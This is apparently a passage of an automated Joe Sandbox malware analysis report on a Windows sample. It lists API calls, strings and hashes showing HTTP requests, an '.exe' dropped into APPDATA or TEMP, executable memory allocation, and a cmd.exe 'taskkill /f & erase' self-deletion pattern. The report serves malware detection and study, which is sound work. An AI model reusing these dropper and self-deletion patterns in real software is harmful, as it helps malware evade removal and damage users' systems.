Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017C7
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017ED
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401813
Part of subcall function 00401D70: HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401839

InternetCloseHandle.WININET(00000000), ref: 00401FAB

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017F1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017CB
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401817
text, xrefs: 00401B6C
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401789
Oa, xrefs: 00401B3D
GET, xrefs: 00401F6A

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Internet$Http$Request$Headers$CloseHandle$FileOpen$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text$Oa
API String ID: 3687058084-2905923518
Opcode ID: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction ID: 4f979ec40115068546db40a18da2f826472f24156d8de6420d48f3aae504fc61
Opcode Fuzzy Hash: 87dc1f5cbc00247bb5cd1f96503eacf37748876418ecbfeab935ebf61d375d81
Instruction Fuzzy Hash: 36A10671E00204AFDB14DFA8CC85BEEBBB5EF44304F14812AE911B72D1D7B89945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00403500 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,E386B32C), ref: 0040358A
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 00403753
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000001), ref: 00403767
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 00403780
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 0040395E
GetLastError.KERNEL32(?,004278D4,00000001,00000000,00000000,00000001), ref: 00403968

Strings

TMPDIR, xrefs: 004037A6
.exe, xrefs: 00403C0F, 00403C23
APPDATA, xrefs: 004035B3
open, xrefs: 00403E7D
L]Z\, xrefs: 00404193

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CreateDirectoryErrorLastPath$FolderTemp
String ID: .exe$APPDATA$L]Z\$TMPDIR$open
API String ID: 519037321-3822968767
Opcode ID: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction ID: 4c484ed9f6f6e93db446342e9a78ef146d4cd5519f5341d444e70759ab5193d8
Opcode Fuzzy Hash: f0d838dacd6b43a0aa5ccc2954b79dab091d59c70c30b4bbd887c5f4a424c239
Instruction Fuzzy Hash: 96E1D371A102149BDB25DF28CC88B9DBBB5EB45304F1082EEE409B72D1D779AB84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0364003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0364024D

Strings

cess, xrefs: 0364018D
kernel32.dll, xrefs: 0364008F, 03640095

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: a8b74cf7f4f8127a6983cc3233a7d3ca9d5beca22933f83aca7f0e3f90231be5
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D525874E01229DFDB64CF68C984BA8BBB1BF09304F1480D9E94DAB351DB30AA95DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00403320 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(E386B32C), ref: 0040334C

Part of subcall function 00403280: OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
Part of subcall function 00403280: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
Part of subcall function 00403280: CloseHandle.KERNEL32(00000000), ref: 004032CD

GetCurrentProcessId.KERNEL32 ref: 00403368

Part of subcall function 00403180: OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
Part of subcall function 00403180: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
Part of subcall function 00403180: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
Part of subcall function 00403180: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 00403409

Strings

" /f & erase ", xrefs: 0040338D
" & exit, xrefs: 004033AF
/c taskkill /im ", xrefs: 0040337C
C:\Windows\System32\cmd.exe, xrefs: 00403400

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentModuleNameOpen$BaseChangeEnumExecuteFileFindHandleModulesNotificationShell
String ID: " & exit$" /f & erase "$/c taskkill /im "$C:\Windows\System32\cmd.exe
API String ID: 2036142635-793869484
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: fb0b6ed5054053e95d24ec8103c54a69bce3c8d518daf5f3a9f7680b0ad669b0
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: EB215130E15258EAC710EBA5CC49BDD77B9AB14704F90417EE105B31D1DF782A49CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403180 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004031E0
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 004031FD
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 0040321A
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00403221

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1316604328-0
Opcode ID: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction ID: a1b721af1f0ed9c57be033e3f546ceffd57cab54b484f6f8d29e48c769c32825
Opcode Fuzzy Hash: b810b6b41822c9f40bfd186aff59ec884f0ef560b79faa1f172a7d6299ca592e
Instruction Fuzzy Hash: 0C21D675D00219ABD721DF54DC05BEABBB8EF09304F0041EAE548A7280DBB45BC5CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00403280 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000410,00000000), ref: 004032AB
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004032C6
CloseHandle.KERNEL32(00000000), ref: 004032CD

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction ID: 288d063c62d69e04bf88314488492230989fe5d5d229077e5b49cfed6eca7f34
Opcode Fuzzy Hash: 673e854a51e056f46da57b56ff3cecce37ecaf99290c1da43620dda193a8965d
Instruction Fuzzy Hash: 2F110474A00204ABD720DF14CC09BEABBB8EB45704F0041ADE58597280DBB95A8A8FD9

Uniqueness

Uniqueness Score: -1.00%

Function 00403FF0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L]Z\, xrefs: 00404193

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: L]Z\
API String ID: 1518329722-3060477307
Opcode ID: bdc5fc82175bec1e15db2ac54d0bb988713e55affd58ec50a77a69006b89824a
Instruction ID: f1c4a59434b3f57d7cd8f2ce45f5fc494ed6bf856d1adeb8be9a5cbcf21d118c
Opcode Fuzzy Hash: bdc5fc82175bec1e15db2ac54d0bb988713e55affd58ec50a77a69006b89824a
Instruction Fuzzy Hash: F5A19EB0A00258DBEB20DF15DD59BDEBB70AB52308F5081E9D5483B2C2D7B95B88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03640E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,03640223,?,?), ref: 03640E19
SetErrorMode.KERNELBASE(00000000,?,?,03640223,?,?), ref: 03640E1E

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d8b96690b0ab8ff6a3de742a427efda8f20e81b44f3db36f05d01e47e19fca77
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: E4D01232645228B7DB002A94DC09BCEBB1CDF09BA2F048021FB0DE9180CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 00407E93 Relevance: 1.6, APIs: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004016AE

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: b82e22d157aa08b806aa911338af021ccea73d0a976e77c51eb41bbc2703bfcf
Instruction ID: b0a2a16c93233474bdfaf9f93f2b22f4fd056625e6ef3c9767f10f04bf15fa52
Opcode Fuzzy Hash: b82e22d157aa08b806aa911338af021ccea73d0a976e77c51eb41bbc2703bfcf
Instruction Fuzzy Hash: 7001473180420D77CB10AAA5DC0189A775C9E01354B50857BF904B65D1FB78F88086DE

Uniqueness

Uniqueness Score: -1.00%

Function 004123EF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6257d7c2ee276c5d0fd134f5db4d8c55f501502e1b82d9c04a80d06860ad0d6c
Instruction ID: 22d6ab2b832de0dfcd510d20163fad0d2021c2b6b939ea67dc75f0dc9f7ae72e
Opcode Fuzzy Hash: 6257d7c2ee276c5d0fd134f5db4d8c55f501502e1b82d9c04a80d06860ad0d6c
Instruction Fuzzy Hash: E2E06571640235A7E6212766AE00BDB3748DB413B4F150133EC85E62D1DBEDDCD281ED

Uniqueness

Uniqueness Score: -1.00%

Function 03640920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 03640929

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: ed1fa5443604d132978e6c58f8cc4a5f1646693310c318f56ccf6213ab4b7ad9
Instruction ID: 46c7c7c6dcd93c711cbd188b681eb9ae36fa97d9339837816e323f92b9b16bc3
Opcode Fuzzy Hash: ed1fa5443604d132978e6c58f8cc4a5f1646693310c318f56ccf6213ab4b7ad9
Instruction Fuzzy Hash: 9F90043034437511DC3035DC0C01F4500133741734F7047307533DD1D0C54157004117

Uniqueness

Uniqueness Score: -1.00%

Function 01C7EE7D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01C7EECE

Memory Dump Source

Source File: 00000000.00000002.2080339469.0000000001C7E000.00000040.00000020.00020000.00000000.sdmp, Offset: 01C7E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1c7e000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 87a87777a12e38316f02093ca3f93864925b250d1f84f63fed42179c562f5b29
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 87110C79A00208EFDB01DF98C989E99BFF5AF08751F158094F9489B361D771EA50EF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041868D Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

GetACP.KERNEL32(?,?,?,?,?,?,0040F247,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0041874E
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0040F247,?,?,?,00000055,?,-00000050,?,?), ref: 00418779
_wcschr.LIBVCRUNTIME ref: 0041880D
_wcschr.LIBVCRUNTIME ref: 0041881B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 004188DC

Strings

8B, xrefs: 00418704
utf8, xrefs: 0041884B

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: 8B$utf8
API String ID: 4147378913-4111929041
Opcode ID: 77e6d09bbafff37dd05ce1e6cf205e3941717c6a4b36733240e2ca5b4d547879
Instruction ID: 5598eef51b979ea5762b891677fca00f5edd0e9257821764881691bf87646427
Opcode Fuzzy Hash: 77e6d09bbafff37dd05ce1e6cf205e3941717c6a4b36733240e2ca5b4d547879
Instruction Fuzzy Hash: 3071D471A00201AADB24AB36DC82BE777A8EF44754F14443FF915DB281EE78E9C1876D

Uniqueness

Uniqueness Score: -1.00%

Function 00418FEE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 004190FA
IsValidCodePage.KERNEL32(00000000), ref: 00419143
IsValidLocale.KERNEL32(?,00000001), ref: 00419152
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041919A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 004191B9

Strings

8B, xrefs: 004190A7

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: 8B
API String ID: 949163717-3070534924
Opcode ID: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction ID: f2ea0b11808f5ad6da1d466408d0e99a338890fa69785c6e259117abf3424843
Opcode Fuzzy Hash: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction Fuzzy Hash: 5551A571A00219AFEB10DFA5CC55AFF77B8BF48700F18442AE904E7291DB789D80CB69

Uniqueness

Uniqueness Score: -1.00%

Function 03644977 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 03644B10
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 03644CD1

Strings

(zB, xrefs: 03644C69
`a}{, xrefs: 03644ABA
`yB, xrefs: 03644CC7

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: (zB$`a}{$`yB
API String ID: 3517786926-4178271309
Opcode ID: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction ID: 580ae02c02fd0d67dfe64f72142348e37b13adad6a5932e91cbea2ebb831cf6a
Opcode Fuzzy Hash: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction Fuzzy Hash: D2E1E375E002048FCB19CF68C985BEEBBB1FF49304F1482ADD845AB790DB71A985CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00418E19 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EB2
GetLocaleInfoW.KERNEL32(00000000,20001004,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EDB
GetACP.KERNEL32(?,?,00419137,?,00000000), ref: 00418EF0

Strings

ACP, xrefs: 00418E37
OCP, xrefs: 00418E6D

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: ccd849e587f1a62e46e2c36e5e07e6a308489abd5d5b75d3c9eba274a3507da2
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: 49216072B00301EADB348F64C941AD773A6EB54B64B56842EE90AD7211EF3ADDC1C758

Uniqueness

Uniqueness Score: -1.00%

Function 03659080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,0365939E,00000002,00000000,?,?,?,0365939E,?,00000000), ref: 03659119
GetLocaleInfoW.KERNEL32(00000000,20001004,0365939E,00000002,00000000,?,?,?,0365939E,?,00000000), ref: 03659142
GetACP.KERNEL32(?,?,0365939E,?,00000000), ref: 03659157

Strings

OCP, xrefs: 036590D4
ACP, xrefs: 0365909E

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: c9fb28f3dd1c50313aaa412c35f1da332bc88e2c84a3bafe6a7176ec42606de7
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: F9217472700110E6EB34DF24CB44A97B7EAAB44BA4F4A8478FD09D7314E732DA41C750

Uniqueness

Uniqueness Score: -1.00%

Function 036588F4 Relevance: 7.8, APIs: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

GetACP.KERNEL32(?,?,?,?,?,?,0364F4AE,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 036589B5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0364F4AE,?,?,?,00000055,?,-00000050,?,?), ref: 036589E0
_wcschr.LIBVCRUNTIME ref: 03658A74
_wcschr.LIBVCRUNTIME ref: 03658A82
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 03658B43

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID:
API String ID: 4147378913-0
Opcode ID: 2d4c8962c46ef1a8c87f5846cb28da9a6d8b0e66d82662651201cdddae68ac0b
Instruction ID: 6aa0d8f22743a723afc176fc2de288169ff8e37686fadfb88f4337707a29b5a2
Opcode Fuzzy Hash: 2d4c8962c46ef1a8c87f5846cb28da9a6d8b0e66d82662651201cdddae68ac0b
Instruction Fuzzy Hash: F171E275B00306AAEB25EB35CD81BAB73A8EF44710F184479FD05DBA80FBB4D9418769

Uniqueness

Uniqueness Score: -1.00%

Function 03659255 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

Part of subcall function 03650FA7: _free.LIBCMT ref: 03651009
Part of subcall function 03650FA7: _free.LIBCMT ref: 0365103F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 03659361
IsValidCodePage.KERNEL32(00000000), ref: 036593AA
IsValidLocale.KERNEL32(?,00000001), ref: 036593B9
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 03659401
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 03659420

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction ID: 8a247bbad5fa72601703900dd34ea914f8d34adc0dececd8c1593e4e46089af6
Opcode Fuzzy Hash: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction Fuzzy Hash: 47518C71A0021AEBEF10DFA4CD44AAEB7F8AF19700F084479FD15EB290E7709A00CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00408675 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00408681
IsDebuggerPresent.KERNEL32 ref: 0040874D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040876D
UnhandledExceptionFilter.KERNEL32(?), ref: 00408777

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: e5ef794af57fc705f8d7f6759feeae2191713bbad705ce5cabcbc102cb35c609
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 6D313AB5D0521CDBDB10DF61D9897CDBBB8BF08304F1040AAE449A7290EB755A858F09

Uniqueness

Uniqueness Score: -1.00%

Function 036488DC Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 036488E8
IsDebuggerPresent.KERNEL32 ref: 036489B4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 036489D4
UnhandledExceptionFilter.KERNEL32(?), ref: 036489DE

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: 1f643060a47317af9cc30d45bd58bb30c9948568b0ee912d96aa3a6c2583b459
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 1831FAB5D453189BDB10DF64D9897CDBBF8AF08304F1041EAE509AB250EB719A85CF09

Uniqueness

Uniqueness Score: -1.00%

